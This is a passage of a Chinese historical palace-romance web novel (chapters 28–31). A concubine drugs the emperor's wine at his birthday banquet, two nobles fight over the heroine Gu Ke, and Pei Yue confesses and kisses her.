“小的不知,元宝公公命小的赶紧来通知将军,圣人那边已经在准备了,烦情将军快些”,那侍卫拱手行了一礼,又道。
远处松榭居那边灯火通明,隐隐可闻响动。
裴越不知出了何事让李维桢走的这样匆忙,却也知道事情大抵是无法改变了。
裴越低头看着顾珂,“蓁蓁,我在长安等你”。
顾珂在知情的搀扶下勉强站稳,面对他灼热的视线,下意识的回避,福了福身“裴大哥一路平安顺遂”。
裴越似有千言万语,又知此时不是细说的时候,还怕吓到她,最终只化做一声叹息,“早点回来......”
她似被他这几个字烫耳朵,耳朵不由自主的红了,只胡乱的点了点头。
裴越深深的看了她一眼,然后快步跟那侍卫一同离开了池边。
只顾珂站在池边被那摇曳的池水晃了眼睛。
裴越快步上了李维桢的马车,看着他闭眼靠在车壁上,脸色铁青和下颌紧绷,问道“出了何事如此匆忙?”
李维桢似在平复心情,并未言语。
裴越目光扫过他破了皮的唇角,了然道“看来不太顺利啊”。
“我们彼此彼此吧”,李维桢睁开了眼睛,瞟了他一眼,略带不屑道。
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“我不懂你在说什么”,裴越道。
李维桢冷哼道,“在洛阳受伤,那么多可靠的地方你不去,偏往两个小娘子的船上躲,一躲就跟着躲到了苏州,只怕朕不当面叫你走,你还在这赖着呢”。
见自己的小心思被戳破,裴越也未否认,嘴角扯起一抹弧度,“还得是小舅舅明查秋毫”。
在洛阳受伤被追,其实他有很多可以接应他的地方,有医者、有伤药,可以比他在顾家的船上得到更好的接应和医治。
只他在水边看到顾家船只时,别的选择就自动被他忽略了。
其实在北边的这四年,只偶尔会想到她,只当是生命中的一抹与众不同的色彩。
可是随着回到长安,在这片他俩同处的土地时,有时候他会好奇,当年那个勇敢的小姑娘,现在是什么样子了。
所以一向懒得应酬的他,去了柳尚书府,当真见到了出了孝的她。
而她跟小时候不一样了。
小时候的她看起来就像他在北边看到的束不住的风,而现在,她把自己包裹起来了,她的外表看起来文文静静的,但是骨子里依然是那个锋利又勇敢的小姑娘。
谁欺负了她,她就不客气的亮出她的小爪子。
五年岁月,在她身上发生了什么。
他一次次的想靠近她,了解她,甚至想要撩拨她,想要看她露出当年的模样。
现在想来,大概是五年前第一次见到那个小姑娘时,心里就埋下了悸动。
所以他从洛阳上了船便赖了一路。
“结果不一样没用”,总结完,李维桢也不再看他,依旧靠了回去。
裴越顿了顿,想起今日顾珂的表现,嘴角扯出清嘲的笑。
一时间,舅甥两个都为女人的事默默无语。
这厢,顾珂听顾珈讲了李维桢突然离开的原因,姐妹二人也沉默了。
半响顾珂才叹了口气“姐姐何苦这样逼圣人,逼自己”。
顾珈已经整理好情绪,闻言道,“果然什么都瞒不过你”。
“姐姐是想着如果圣人接受了,你俩彼此有情,便来一场露水情缘,如果圣人拒绝了,那以圣人的骄傲和自尊,只怕以后再不会来找你了,你这是逼着圣人放手”,顾珂道。
顾珈靠在绛色软枕上,茫然的望着灯火,“我知道,其实至始至终就只有这一个选择,他的骄傲不容他选第一个”。
“可是圣人对你是真心的,姐姐又何苦辜负,为什么不给彼此一个机会”,顾珂又道。
“我知道他是真心的,我也知道他对我的好,就是因为他对我是真心的,我才只能这样。哪怕他是个闲散王爷,他这颗真心都能落到实处,只是坐在那个位置上,有多少事情是他身不由己的,他的真心能顶得一时,又能经得起多少次的消磨,与其到时候让他为难,或相看两生厌,倒不如留个美好的念想吧,让他记忆中的顾珈永远是那个美好样子”,顾珈淡淡道。
顾珂有些意外于性格一向大咧咧的姐姐能想的这么远,她心下不禁茫然,如果是自己选,在可能失去自由、失去自我和两情相悦间,该如何选?
28. 淑妃
顾珈目光落在顾珂身上,“别说我了,你又是怎么回事?”
顾珂低下头道“我怎么了”。
“我可看见了,那天去救我的时候,你可是跟裴越那小子同乘一骑来的,那小子的眼神都快粘你身上了,可是你为什么这两天似乎是在回避他?”,顾珈又道,“你不喜欢他?”。
顾珂垂着头未做声。
顾珈又疑到“难不成你喜欢李时泽?”
顾珈不禁柳眉微蹙,李时泽倒也不是不行,长相、家世都是顶尖的,为人目前也没看出来什么问题,就是真嫁过去的话小姑子讨厌些。
应该能克服吧……
顾珂一怔,怎么就扯到李时泽身上了,忙道,“姐姐胡猜些什么呢”。
顾珈看了看她的神色,了然道“还是喜欢裴越”。
顾珂感觉自己的双颊越来越烫,却又抵不住心底黯然的情绪,喟叹道“喜不喜欢的有什么用呢”。
是呢,她是喜欢他的吧。
也许是五年前暗巷里他有力的那一推,也可能是顾府门口他追至灯笼下的那句询问,他就在她心上磨灭不了。
所以即便是五年未见,他回京受赏那天,她依旧早早的跑了去,只想看看他现在的样子。
这一瞧,却是又惦记上了,他为何不开心?
直至玉兰花下的重逢,她才正视,她对他的有些过度关注了,却越来越陷入其中。
直到听到韦二娘说他要被赐婚的消息,心口的钝痛,让她更明了。
她想,那就趁这次南下,好好告个别吧。
越没想到命运又让他二人重逢,甚至越纠缠越深。
顾珈突然福至心灵,道,“你不会是因为韦二娘说的昌王求赐婚的事而冷待他的吧?”
没想到顾珂却点了点头。
顾珈忙又问,“那你问他是怎么回事了吗?”
顾珂摇了摇头。
顾珈一时不知道该说她什么好,“你又没有亲自问他,为什么把他往外推啊?再说,只是听说昌王求赐,又没听说他已经赐了,再说,就算赐了又怎么了,相中就上啊!”
顾珈看着这个一向机灵的妹妹犯湖涂,不仅有些恨铁不成钢。
顾珂摇摇头“他也并未向我言明什么,我不知他的心意”。
“别的我也不知道,但我看裴越不是个轻浮的人,男女授受不亲,如果不是对你有意,当日就应该让你跟秋儿同乘一匹,而且庆王府的马球赛上,他又帮了你,他的心意昭然若揭吧”。
“我不知道,这样就算喜欢了吗?可他喜欢我什么呢?”,顾珂有些迷茫,喃喃道。
顾珈看着这样的她,知道这个妹妹,应该是真的动了情,所以身在局中看不清了。
裴越实在是太优秀了。
即使她自己已经足够优秀,但她仍然裹足不前。
把自己防护起来,对着别人的示好与试探不听不想不敢信,这样才会尽量少动心,保护自己少受伤。
可明明自己的妹妹在二婶去世之前,也是明媚飞扬的少女。
顾珈轻轻的握住她的手,灯花爆裂,姐妹二人一时也没了言语。
*
本来这次下江南的目的是想散心,结果却更复杂。
姐妹二人一时也没有了心情,再者六月初十为顾衡五十八岁的生日,故二人又滞留了两日便收拾东西,准备往回返。
田大却匆匆赶过来,“二位姑娘,又来了一位李公子,要求见二位姑娘”。
姐妹二人对视一眼,也有些意外。
顾珂心底浮现了一个猜测,她看向顾珈,“大约是李二公子”。
顾珈反应半天才反应过来这位李二公子是哪位。
来人果然是李时泽。
他坐在揽月轩,看着外面侍从有条不紊的收拾着行李,笑道,“看来在下赶的正是时候”。
顾珂道“李公子这是何意”。
“在下在办州附近办完差事,想着算算时候,顾姑娘也差不多该返程了,故紧赶着过来了,如果不嫌弃,顾府的船可以跟在我们后面,安全上有个保障,彼此也有个照应”。
李时泽啜了一茶,润了润有些干裂的喉咙。
怕到苏州扑空,这一路办差,李时泽是一天当二天用,好在最后这些辛苦都值得。
“这会不会太麻烦李公子了”,顾珈道。
“不会,路程太长了,正好彼此做个伴”。
顾珈眉头微蹙“只怕我们的行程较慢,怕耽搁了李公子的差事”。
知道了李时泽的想法后,她虽然意外于他突然的好感,但她知道自己对他无意,便不想再与他有何牵扯,让他有何误会。
此时只恨自己未赶着些,要是昨天离开苏州就好了。
“最近没什么重要的差事了,所以都不妨事,我也正好趁这个机会好好歇一歇”,李时泽道,态度很是坚持。
顾珈看出来他的诚心,以眼神安抚了一下顾珂,道“那就恭敬不如从命了,有劳李公子了”。
李时泽的计划达成,也不多留,反正一路上那么长时间,总有机会跟顾珂相处,倒也不急在这一时,约着明日码头相候,便告辞了。
*
长安大道连狭斜,青牛白马七香车。
—唐卢照邻
顾珈二人回到长安已有十余日,恰好赶上了顾衡五十八岁的生日。
一家人和和美美的只待顾琊从西北回来,张罗给他二人完婚。
不想,宫里的吴淑妃派内侍给二人送了帖子,却是邀他们千秋节到宫中赴宴。
往年的千秋宴,都是正三品以上官员诰命家眷有资格入宫,连杜氏都未参加过。
本朝并没有皇宫,后宫中吴淑妃位份最高,故而由她特邀女眷入宫,倒也合情合理。
只是,顾家与这位吴淑妃素无交集。
顾珂与顾珈猜测是因为李维桢的缘故,只不知这位吴淑妃葫芦里卖的什么药。
顾珂心里数了数回到长安后的日子,却一直未有裴越的消息。
裴越走前,说在长安等她,如今她已回长安十余日,却一直未见到他。
顾珂的手指捏紧了衣角,至于那个赐婚的传闻,亦没有了下文。
*
千秋节这日,顾珈姐妹入了宫门,先是递上的帖子,验明了正身后,由内侍直接引着到吴淑妃的朝露殿。
吴淑妃正在殿内待客,听内侍说她们到了,便传天她们直接进去。
今日入宫,又是千秋节,二人不好穿的过于素气,故顾珂今日着的杏色兰花纹的大袖衫,内着翠青色妆花缎石榴裙,而顾珈着孔雀兰大袖衫,下穿枣红色祥云纹石榴裙。
二人一进屋,殿内坐着的人不由眼前一亮。
二人低头对着主坐上的人行礼问了安,上面传来一声慵懒的声音“快请起,
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赐座吧”。
二人道了声谢,坐定后,才算看清了这位传闻中的宠妃。
吴淑妃实际上应该二十出头,但看上去像十八许人,一张宜喜宜嗔脸,娇艳欲滴。
只顾珈因着李维桢的缘故,再看李维桢的女人,心里难免有些不舒服。
她们偷偷打量吴淑妃的时候,吴淑妃也在观察她俩。
要猜出哪个是顾珈确实不难,见这二位的举止风度倒都不落大儒之家的清贵,心中不暗暗点头。
吴淑妃开口道,“一直听说大司成家的二位女公子,才貌双全,亦有勇有谋,心中早存了结识的念头,这次正好借着圣人的千秋节,叫你们也进宫来热闹热闹。今日一见,大司成果然教导有方,二位姑娘果真都非俗物”。
吴淑妃一口开,殿里的其余人纷纷应和,一时给顾珈二人直夸的如天上的仙女。
二人忙谦逊几句,心里对这位吴淑妃琢磨不透,又得耐着性子寒喧。
幸而这位吴淑妃似乎只是想看她们一眼,说了几句便端了茶。
几人便一起起身告了退,离了朝露殿。
望着顾珈离开的背影,吴淑妃把玩着嫣红的指甲,玩味的问她的陪嫁侍女青儿,“你看这位顾大姑娘可美?”
青儿笑道,“这位顾大姑娘确实很美,是除了娘娘外,青儿见过最美的人了”。
吴淑妃嗔笑道“你如今是越发滑头了,我可比不上她,要不然那位能这么多年一直放在心尖尖上吗……”
*
二人被内侍引着入了女宾席。
左边为女宾席,右边则为男宾席。
她二人父亲官职不高,基本上排到了最后排的位置,她们到时前排已经坐了不少按品大妆的命妇及贵女。
顾珈很满意现在的位置,不会太靠近李维桢。
坐下时看到了韦二娘和韦五娘,二人回过头来招了招手。
顾珂状似不经意的扫了一眼男宾席,却是有些意外,未看到裴越,却正好碰上李时泽望过来的视线。
见她望过来,李时泽绽开了一抹笑意。
顾珂只好笑着颔首回礼。
李时泽的船支与顾家的船一路相伴回到了长安,有王府的船相伴,倒确实安心不少,偶尔停靠岸边也会一起在岸上走走,闲话几句,这一路也了解、熟悉了不少。
有时顾珈都打趣道,让她干脆从了李时泽嫁到王府去算了。
这时听得一阵脚步声,有内侍唱喝“圣人到!”
众人忙起立行礼,李维桢走到主位上,朗声道“众卿平身”。
顾珈随众人又坐回了位置上,忍不住偷眼看李维桢,见他环视了一圈,明明目光与自己对上,却又似看见个陌生人那样移开,虽然明明是自己求来的结果,却又难免心中苦涩。
顾珂抬头看到了裴越,裴越与长公主是同圣人、吴淑妃一道来的。
长公主和吴淑妃分坐圣人两侧,五年未见长公主,顾珂只觉上天对她格外优待,与五年前未有丝毫变化,像三十出头的人。
另有一纤弱美丽的女子坐到了吴淑妃下首。
李维桢的后宫现在有名号的一共就两位,顾珂猜应该是那位与祖母同宗的王昭容。
裴越则坐到了李时泽旁边,他坐定后,视线对上了顾珂,眼底涌上笑意,点了点头。
顾珂却假装没看见,转过了头,他不由一晒,好看的眉头微微拧起。
29. 下药
顾珂二人虽然各自怀揣心事,又不好在宫宴上叫人看出一二,收拾心情,面上都带出了笑意。
且二人都是第一次参加宫宴,又是最热闹的千秋节,嘴里咬着宫中御厨最拿手的糕点,被层出不穷的歌舞一时晃花了眼。
李维桢的目光扫过顾珈,见她的目光正盯着表演胡旋舞的男舞者,心中几不可闻的叹了口气。
果然没心没肺的,枉自己叫人给气回了长安,人家这丝豪未受影响,偏自己又放不下。
听侍卫报她平安回到长安了,自己一个当今天子,还拉不下脸再去见她,还得顶了吴淑妃的名号叫人入宫才能见上一面。
酒过三旬,有不少文臣勋贵上前献寿礼。
初时还好,都是各地奇珍。
裴越送的是一块巴林石,他道“此前臣在北边时,偶然得了这块巴林石,这种石头对于圣人来说,不算得什么稀罕,只上面的血色暗纹隐隐似有龙腾,故而一直留着想着回长安献与圣人,可做个名章把玩”。
长公主不紧不慢的送上了一道符“这是家师紫微天师以三十年功力画就的一道强体府,又在三清座下练就九九八十一天,可强身益体,清神安眠,献与圣人”。
吴淑妃则娇笑着送来了一幅画“臣妾愚钝,没什么好的东西献与圣人,只一片诚心,这是臣妾画了三个月,画出来的自画像,献与圣人,愿臣妾能时刻伴随圣驾左右”。
顾珂心中一哂,这三位的礼物怎么感觉……如此敷衍,只她姐妹二人未备礼物,倒也不好多挑剔别人。
李维桢面上不显,依旧是笑着都一一收下了。
酒过三巡,眼看着要进入尾声,那位一直未出声的纤弱美人王昭容却突然站了起来。
“臣妾愚笨不像淑妃姐姐精通书画,只能敬圣人一杯酒,祝圣人万寿无疆,祝我大靖千秋万代”。
说完,袅袅娜娜移到了李维桢身边亲手斟了酒,喂到了他嘴边,人亦是半偎在他身上了。
顾珈移开目光,握着酒杯的手指攥的发白。
早知道他会有无数女人,但亲眼看见的又是另一回事。仿若一把利剑直往她的心口扎。
李维桢余光不着痕迹扫过顾珈,轻笑着瞟了王昭容一眼,伸手接过了她喂到嘴边的酒杯。
“爱妃有心了”。
说着,又举起酒杯“来,诸位爱卿,满饮此杯,愿我大靖千秋万代”。
众人齐齐端杯祝祷,“愿吾皇万寿无疆,愿大靖千秋万代”。
王昭容又袅袅娜娜的坐回了位子,看着李维桢饮下了那杯酒,眼中厉色一闪而过。
又隔了一柱香的功夫,李维桢觉得身体有些不对劲。
身体越来越热,脸色渐渐有些潮红,喉咙越来越干哑,身体那不可说之处有些异动,且那感觉越来越强烈。
眉头微沉,他意识到自己应该是着了道,他不由坐直了身体,怕众目睽睽之下被人看出异端。
召来元宝,低头吩咐几句,又对着众人道,“朕有些不胜酒力,去休息一下,诸位自便”。
说罢,起身便要离席。
胳膊突然一沉,王昭容却缠了上来,那张清丽的脸写满了担心“臣妾扶圣人回去休息”。
李维桢半眯着眸子,视线扫过她的脸,那张清丽的脸上似无所觉,仍是一张盛满关心和无辜的脸庞。
他勾起一抹意味沉长的笑容,拍了拍她的手“那便有劳爱妃了”。
他虽是在笑着,王昭容看着那笑容,无端的心里退却了三分,难道被他看出了什么。
脑海瞬间闪过无数个念头,确认任何环节都不应出错,又强自镇定下心神,只要事成了,就没什么可怕的。
她不着痕迹的调整好心情,扶着李维桢离去。
李维桢的匆忙离席,自然引起了顾珈的注意,她看着他和王昭容相携而去的背影,心中默默的催眠自己,幸亏未心软,不然以后这样的事情每天都会发生......
圣人离去,吴淑妃与长公主商量了几句,吩咐众人自便,可去后花园赏玩或继续观赏歌舞。
顾珈心不在焉只饮了几杯,顾珂却已是有些熏然。
她有些恼裴越。她说不清自己应该恼裴越什么,可是她就是恼。
明明与他共乘一骑的是他,在水边说在长安等她的也是他,可是她都回来了,他却不曾来过只言片语。
只是自己想多了是吗。
却说王昭容搀着李维桢往甘露殿去,李维桢几乎大半个身子都靠在她身上,从他身上传来的潮热越来越重。
心里有些害羞,涌上来的更多的是兴奋和狂喜。
圣人后宫只有一个吴淑妃和她二人,世人皆以为她二人受尽圣恩雨露,多少人红着眼盯着她们,恨不得生啖其肉,好取而代之。
她眼中划过一丝嘲讽,谁知道她在这不见天日的后宫,面对正当盛年的帝王,却守了四年活寡。
她不知道吴淑妃那边是什么情况,可是圣人什么节庆都只带吴淑妃露脸,她现在俨然后宫第一人,想必吴淑妃应是早得了圣宠。
可是凭什么让她入了宫,却又不碰她。
她初时害羞、懵懂,这种事情又不好启齿,以为随着伴驾时间久了,自然是水道渠成的事情。
可是日复一日、年复一年,她在这深宫枯守了四年,依然一场空。
初时,家人见她一直未有孕,母亲试探着安慰她,她只能把这黄莲往肚子里咽。
时日久了,却是架不住家人的一再追问。
垂下的眼睫盖住了眼中的黯然,她攥紧了指甲,那里面是母亲前不久托人从西域弄来的的使男女欢.好助.情的药。
刚才趁给圣人敬酒时,她将藏在指甲里的药洒在了圣人杯里,现在看圣人情况,这药效果然霸道。
她心一横,母亲说的对,男人没有不偷腥的,整日守着一个吴淑妃,面对突来的诱惑,定会水到渠成的。
如果上天眷顾,今天能够一举有孕,那就再好不过了,她会一步一步爬上去的。
她的手指已经触到甘露殿的殿门,只要进了这殿中,她顺势倒到圣人怀里,事便成了。
她的心兴奋的跳到了嗓子眼,扶着李维桢的手挽得更紧,身后却突的传来一道声音,劈进了她的脑海
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。
“妹妹这是做什么去呀?”
她眼中的阴霾一闪而过,一点,只差一点。
她听而不闻的继续往前走,身后的脚步声突的加快,转眼吴淑妃已是转到眼前,一双美眸正眯着看向自己。
她心中一跳,强自镇定下来,垂下眸子掩盖心虚,“是......姐姐呀,妹妹见圣人身体不适,故伺候圣人回殿休息”。
吴淑妃轻笑道,也不拆穿她,只是扶住了李维桢的另一边,她面上笑着,心下却一沉。
圣人身上滚烫的厉害,这王昭容好大的胆,竟敢下这样猛的药。
“圣人这里有我就行了,不劳妹妹,妹妹回去休息吧”。
王昭容如何甘心,忙道“姐姐连日操劳千秋宴已是劳累,如何再敢劳动姐姐,让妹妹来就行!”
吴淑妃轻睨她一眼,心下对她已是十分不不屑,还王家的女儿呢,没有一击必胜的能力,这种手段也敢使得出来。
视线似漫不经心的扫过王昭容涂满蔻丹的指甲,一她道“听说王夫人今日也进宫了,你们母女应有很多话要说才对,你快回宫陪陪她吧,待宫门关了,又不知何时再见了”。
王昭容后背已是出了一层薄汗,心虚之下只觉得她话中有话。知道现在的局面,她已是错过了时机。
深深的看了吴淑妃一眼,她眼中似有不甘、有怨怼、有仇恨,最终收回了视线,不再言语。
她放开李维桢,还没忘弯身行了个宫礼,转身离开。
吴淑妃看着她垂在两侧的拳头攥的发白,似是触动了心思,几不可闻的叹息一声,便收回了视线,跟元宝一左一右的搀着李维桢进了甘露殿。
“真重啊!”吴淑妃甩了甩酸了的手,扶了这几步,她的手就酸了,也不知王昭容哪里来的那么大力,搀着走了那么久,居然不觉得累。
“元宝,你去喊鲁太医”,她唤道,蹙眉想了想,又低声道“派个人去找顾大姑娘,就说圣人身体不适,如果顾大姑娘来看圣人了,等鲁乐来了,你就拦住鲁乐,让他去别的殿休息,待顾大姑娘出来了,再去给圣人诊一下,看有没有要紧。要是鲁乐来了顾大姑娘仍未来,那也不必等了,叫鲁乐直接进去为圣人解药就是,只这药是西域传过来的,怕太医院一时找不到能将毒素尽除的药,如果毒素无法尽除,就问问圣人的意思”。
元宝瞬间领会,点点头招过来一个小黄门低声嘱咐。
吴淑妃转头看着躺在床上眉头紧蹙面色潮红的李维桢,脸颊不由发烫,忙用手扇了扇,转过头,提着裙子匆忙离开了,心里暗骂一声“妖孽”。
*
长公主等人都陆续离席后,顾珈二人已是酒足饭饱,相携逛起了御花园,散散酒气。
二人皆是第一次来,带着几分新奇,微微冲淡了二人心中的思绪。
“请问是顾大姑娘吗?”
迎面匆匆忙忙过来一个小黄门,跑的满头是汗。
二人对看一眼,顾珈道“我是”。
小黄门忙道“顾大姑娘,圣人身体不适,元宝公公让小的来寻顾大姑娘去看看圣人,姑娘快跟我去吧”。
30. 过招
顾珂皱了皱眉头,“圣人身体不适,不去寻太医,来寻我姐姐是何道理,敢问公公是哪个宫里的”。
小黄门抹了一下头上的汗,解释道“因为圣人嘴里一直念叨......念叨大姑娘的名讳,所以公公才让我来请姑娘,不过公公也说了,这个全凭姑娘自愿,这是公公自己揣夺圣意叫小的来请姑娘的,如果姑娘实是不愿,那小的也只好这样回去复命”。
“我跟你去”,顾珈道。
“姐姐?”顾珂不赞成的看着她。
顾珈安抚的拍拍她的手,平静的道“我认识这位公公,以前圣人出宫时,曾经带在近前的,想必不会有差,你先四处转转,我去看一眼就回来”。
她低头拍了拍腰间,示意顾珂她的鞭子带在身上了。
顾珂还是不太赞同,这深宫之中,有很多事情一旦发生了,就不是仅有一个鞭子就能保护自己的。
但顾珈已经打定主意,低声道,“如果不去,我心里会始终惦记,去了,才会放下,就当是还欠他的吧”。
说罢,转身跟那小黄门就离去了。
顾珂心里不免担忧,这宫里她最熟悉的能在宫里探听一二的就是裴越和李时泽。
裴越......她不想主动去找他。
那便只好去找李时泽帮忙打听打听消息了。
就在她打定主意要去寻李时泽时,李时泽却送到眼前。
李时泽正是出来寻她的,见她迎面走来,面上一喜,“顾姑娘”。
“李公子,我正好有事想麻烦公子”,顾珂弯身行了一礼。
李时泽见她面色不同往常,不由也正色道“姑娘有事但吩咐无妨”。
顾珂便将刚才那黄门来寻顾珈的事选择性的说了一下,只道是有个小公公听元宝的差遣来寻顾珈,却又不确定这个小公公的身份。
李时泽听她仔细形容那小黄门的相貌后,心中已有数,忙安慰她道“那人确实在元宝跟前当差,是元宝的徒弟,平时只听元宝吩咐,最是机灵不过,如果他说是元宝的差使,那应该不会有错”。
顾珂的心放下了大半,“如果方便的话,稍后还请李公子帮忙打探一二”。
见顾珂肯找他帮忙,李时泽心情一时也大好“小事而已,姑娘有事但吩咐便是,咱们一路相处了这么久,彼此都熟悉了很多,对我不用这么客气”。
顾珂见他此如说,不由心中暗暗叫苦,忙道“李公子大恩不言谢,以后如有需要我做的,只管吩咐就是了,顾珂一定全力以赴”。
看着她这认真的模样,李时泽笑道“倒真有一事,只不知姑娘能不能帮”。
“公子尽管吩咐就是了”。
李时泽从怀里摸出来个帖子,递到了顾珂眼前“七月初三是我母妃寿诞,想请姑娘过府一起热闹热闹”。
顾珂看着眼前的帖子一怔,迟疑了。
她对李时泽无意,怕他误会,一心也想远着他,却阴差阳错让二人在路上相伴而回。
回来后本就不该再有牵扯,却因为姐姐的事情又求到了他头上。
如今接了这帖子,却不免与他牵扯更深,如若不接,自己方才求过他帮忙,又说的那样信誓旦旦......
一时之间,顾珂觉得眼前的帖子十分烫手。
就在她犹犹豫豫终是无法驳了这情面,准备伸手接过时,一双如玉般修长的手从旁里伸出。
顾珂下意识抬起头,却是裴越站在她身侧,拿过了帖子。
她愣愣的看向他,一时忘了言语,裴越只是轻飘飘的看了她一眼,便移开了视线。
李时泽见状,眉头拧起,沉下声道“裴越,你这是何意”。
“舅舅,顾姑娘这帖子我帮她接了,她肯定会去的,你放心吧”。
裴越扬了扬手中的帖子,轻笑道,只那笑意未达眼底,“到时候我去接她,我们一同去给王妃祝寿”。
李时泽沉默的看了看顾珂,见她未出声反对,嘴角微微抿起,“这是我跟顾姑娘的事情,旁人无权置喙”。
裴越淡淡道“蓁蓁的事情就是我的事情”。
李时泽瞳孔微缩,蓁蓁?
他握了握拳头,转向顾珂“顾姑娘怎么说”。
顾珂此时已回过神,她正色道“裴公子慎言,这里人多口杂,请莫随意制造口舌,坏了我的名声”。
李时泽闻言,心下一松,看向裴越的眼神中不免带出几分得意。
裴越却不看他,只回过头看了看顾珂,一向清亮的眼神中晦暗难明,片刻,抿紧了唇,一把抓起顾珂的手腕,却是拉了她就要走。
顾珂不防被他一把拉住,被拽着走了几步。
李时泽见状,喝道“放开顾姑娘”,随即欺身而上,伸臂欲拦裴越。
裴越身形微转,避开了他的手,二人却是动起了手。
李时泽攻势越来越猛,裴越的一只手始终紧紧攥着顾珂,只用一只手与其过招。
裴越的功夫是长公主领着各路师傅自小锤炼出来的,又在战场上磨练了四年。李时泽虽也自幼习武,却哪里是裴越的对手。
顾珂被裴越紧紧攥着,手上的痛却都顾不上了,忙喊二人停手。
在这宫中动起手来,就算他们是皇亲国戚,传出去又哪里是好听的。
二人却是谁也没理会她,转眼间已是过了十来招。
“住手!”,一道威严的女声传来,却是一身道袍的惠和长公主板着脸闻讯而来。
二人这才停手,只裴越的衣衫都未皱,而李时泽的嘴色却青了一片。
顾珂见状要上前去查看李时泽的伤势,却被面色更沉的裴越一把拉了回来。
长公主皱眉看一眼失态的儿子,忙上前把顾珂的手从裴越手里解救出来,看着顾珂手腕的红痕,心下嫌弃。
这小子平日看着斯斯文文的,这碰上女人的事比他老子粗鲁多了。
裴越不愿松手,被长公主警告的眼神一扫,也冷静了几分,只得松开了手,看见顾珂手腕的红痕,心中不免愧疚心疼,却不后悔。
“皇姐”,李时泽略欠了欠身,他对这位当年稳定江山的皇姐心中还是非常敬畏的。
“你们两个当这里是什么地方,在这里大打出手,是都不想活了吗?再说,这里人多口杂,明日传出去你二人为顾姑娘打起来的流言,让顾姑娘如何自处?”
长公主屏退了左右看热闹的人,对着二人低斥道。
说完,又恨铁不成钢的看着二人“你二人什么身份,要追姑娘,就各自凭本事就是了,在这里逞兄斗狠,凭白让人看天家的笑话”。
二人不敢还嘴,只低头道了声是。
长公主倒底还是偏着自己
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儿子,对着李时泽道“老二,你先回去吧,有什么事过后你单独寻了顾姑娘说了就是,这里不是说话的地方”。
李时泽皱了皱眉头,虽不愿,倒底没说什么,转头对着顾珂道“顾姑娘,今日让你受惊了,在下过几日登门道歉,令姐的事情请放心,我一会会着人打探,再告诉姑娘”。
顾珂忙道不必如此。
裴越道“不劳舅舅了,一会我自会使人打探”。
李时泽冷冷了看了裴越一眼,对着长公主行了一礼,转身离去了。
看着他走远的身影,长公主正待转头数落儿子,裴越却不待她说话,又拉起了顾珂,闪身出了园子。
长公主追着走了两步,倒底停了下来,自己的儿子自己了解,伤害姑娘的事,他是做不出来的。
有些事让年轻人说开也好,心里自动忽略不提帮了儿子一把的私心。
顾珂被李时泽抓了就走,他步子很大,她只能狼狈的跟着,周围偶尔能见穿行的宫人,她心中大急,想让他放手,却又不敢大声,怕引来别人的注意,只得连着小声要求,他却充耳不闻。
只他这回使了巧劲,只牢牢的抓着她,却没弄痛她。
顾珂被他这半天的表现弄的心头火起,又一直被拉着,也来了脾气,正待翻脸甩脱他,却被他闪身拉进了一间屋子,肩膀一沉,人已是被他推到门板上。
她的背被迫紧紧的贴上了冰凉的门板,他一只手撑在她耳旁,俯下身子,视线紧紧攫着她的。
顾珂抬头看着近在咫尺的他,二人的距离实在太近,透过窗纸洒进来淡淡光线,她看清了他紧绷的脸。
他的呼吸阵阵拂在了她的脸上和头顶,一股热意涌上脸颊。
她想往后,却避无可避,以往的他总是面色和缓,温和守礼。
她从未见过这样的他。
额角的青筋暴露出他的情绪,平日总是带着笑意的嘴角此刻紧紧抿着,他混身散发着逼人的气势。
顾珂心却也有气。
他这是做什么,好像她做了什么惹他生气的事情一样,明明是他撩拨完了就再无音讯。
心中暗恼,只得转过头,不再看他。
“为什么找他不找我”,半响,他开口,低哑的声音中带着一丝克制,眼神?涩难明。
她咬了咬唇,脾气上来,不打算理他。
见他不说话,裴越的下颌绷的更紧,又问了一回“有什么事情不找我,去找他,难道你对他比对我更亲近吗”。
本来在汴州看见李时泽对顾珂示好,他已经强压着火气。
他被李维桢抓着回了长安,后来听说李时泽粘着蓁蓁一道回了长安,更是心中酸胀难言,恨不得立刻插翅飞到她身边,让她身边再没有其他男人的身影。
只是回长安后继续调查时出了些意外,他受了点伤,这两日才好些,又怕她知道担心,强压着自己去找她的冲动。
知道李维桢借吴淑妃的名义下了帖子,想着终于在宫中能见到蓁蓁,结果蓁蓁不但不理他,有事还先去找那小子去了。
心中的暗潮再也无法克制。
顾珂听了他的话眉头微蹙,依旧偏着头不打算回应。
裴越见她不说话,心中似被拉扯着,身侧的拳头攥了又攥,目光不由自主的从她的眼睛落到她咬的死紧的嫣红唇瓣。
31. 负责
雪白的贝齿咬在了粉红色的唇瓣上,咬出了一排红印。
视线再也移不开了。
瞬间脑中有无数念头迸出,这些念头都在叫嚣。
心中挣扎片刻,他几不可闻的叹息一声,决定顺从心中的想法,终是俯下了身子,含住了那两片诱人的温软。
“你......唔!”顾珂瞳孔颤动,看着他的脸孔在眼前放大,来不及反应,唇儿就叫一片温热覆住了。
她的脑中瞬间空白,连挣扎都忘了。
她呆呆的睁大眼睛,他干燥好闻的气息熏到她的面庞上,半阖的眸子中映出自己。
覆着那甘甜的柔软,裴越心中满足的喟叹,随即升起来的是心中更深的渴求。
他强拉回理智,怕吓坏顾珂,终是轻吮了两下,不舍的略抽离开。
他眸子锁住她的,满意的看着她的贝齿终于离开了她的唇瓣,那唇瓣亦覆上一层淡淡的粉红水润。
“你!”顾珂这才回过神来,惊怒的瞪着他,伸手便要推开他,却叫他顺势钳住了手腕,带到了自已怀中。
她挣了几下,挣不过,又羞又恼的瞪他,斥道“裴将军这是做什么,当我顾家女子如此可欺吗”。
他都要订亲的人,他凭什么这么做,他怎么敢?!
一时气的指尖都带着颤。
裴越心中的火气已经消了大半,看着她似被惹恼的狸奴一样,整个人都炸了毛,眼中更是亮晶晶的,他心头微软,面上也带出几分和缓来。
“我没有这个意思,刚才......实在是情不自禁,我会负责的”。
“谁要你负责?你不是都要与旁人成亲了,何故来招惹我!”顾珂眉头拧的更狠,脱口而出。
话出口后却是觉得这话说的如此无趣,心中又暗恼自己,倔强的偏开了头。
“我何时要与旁人成亲?”,裴越疑惑道。
这是从何说起的。
“昌王不是都求圣人赐婚了吗,裴将军何必装傻”,顾珂倔强的撇开头去,恨他这装傻的模样。
看着她脸上一会恼一会纠结的神色,裴越心中一动,“所以你是因为这个,才一直避着我?”
顾珂冷哼了一声,却不答话。
裴越松了口气,心中又觉好笑,见她这个神情,只得认认真真的解释到“从来没有过的事,前一阵昌王虽然进宫想求旨意,但圣人未允”。
顿了顿,他又道“圣人知道我有意中人,自不会允”。
